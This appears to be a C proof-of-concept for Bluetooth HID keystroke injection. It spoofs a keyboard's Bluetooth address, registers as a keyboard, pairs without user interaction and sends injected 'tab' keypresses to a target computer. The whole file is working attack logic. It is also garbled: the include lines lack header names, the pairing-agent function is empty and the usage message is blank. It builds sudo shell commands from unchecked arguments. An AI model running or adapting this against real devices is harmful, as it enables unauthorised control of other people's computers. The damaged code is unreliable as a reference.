#include #include #include #include #include #include #include #include #include #define AGENT_PATH "/test/agent" #define KEYB_DEVICE_NAME "Keyboard" #define HID_CONTROL_PSM 17 #define HID_INTERRUPT_PSM 19 void run_agent() { } int main(int argc, char *argv[]) { if (argc != 4) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } // Bluetooth addresses char *interface = argv[1]; char *keyboard_addr = argv[2]; char *computer_addr = argv[3]; // Set Bluetooth address of the target keyboard char cmd[256]; sprintf(cmd, "sudo bdaddr -i %s %s", interface, keyboard_addr); system(cmd); sprintf(cmd, "sudo hciconfig %s reset", interface); system(cmd); sprintf(cmd, "sudo hciconfig %s up", interface); system(cmd); // Set device name and class id sprintf(cmd, "sudo hciconfig %s name %s", interface, KEYB_DEVICE_NAME); system(cmd); sprintf(cmd, "sudo hciconfig %s class 0x002540", interface); system(cmd); // Add the BT-HID SDP profile (HID control and HID interrupt) system("sudo sdptool add KEYB"); // Start a 'NoInputNoOutput' pairing agent pid_t pid = fork(); if (pid == 0) { run_agent(); exit(0); } usleep(250000); // Wait for the agent to start // Enable SSP (secure simple pairing) sprintf(cmd, "sudo btmgmt -i %s ssp on", interface); system(cmd); // Make connection attempts to HID control until successful while (1) { struct sockaddr_l2 addr = { 0 }; addr.l2_family = AF_BLUETOOTH; addr.l2_bdaddr = *BDADDR_ANY; addr.l2_psm = htobs(HID_CONTROL_PSM); int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (s < 0) { perror("socket"); usleep(10000); // Wait 10ms before retrying continue; } if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) { printf("Successfully connected to PSM %d (HID Control)\n", HID_CONTROL_PSM); break; } else { perror("connect"); close(s); usleep(10000); // Wait 10ms before retrying } } // Connect to HID interrupt struct sockaddr_l2 addr = { 0 }; addr.l2_family = AF_BLUETOOTH; str2ba(computer_addr, &addr.l2_bdaddr); addr.l2_psm = htobs(HID_INTERRUPT_PSM); int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (s < 0) { perror("socket"); return 1; } if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) { printf("Successfully connected to PSM %d (HID Interrupt)\n", HID_INTERRUPT_PSM); } else { perror("connect"); close(s); return 1; } // Inject 'tab' keypresses for 5 seconds printf("Injecting 5 seconds of 'tab' keypresses\n"); time_t t0 = time(NULL); while (time(NULL) - t0 < 5) { uint8_t tab_press[11] = { 0xa1, 0x01, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t tab_release[11] = { 0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; send(s, tab_press, sizeof(tab_press), 0); usleep(10000); // Wait 10ms send(s, tab_release, sizeof(tab_release), 0); usleep(10000); // Wait 10ms } // Cleanup and exit sprintf(cmd, "sudo bdaddr -i %s 12:34:56:78:9A:BC", interface); system(cmd); sprintf(cmd, "sudo hciconfig %s reset", interface); system(cmd); close(s); kill(pid, SIGKILL); return 0; }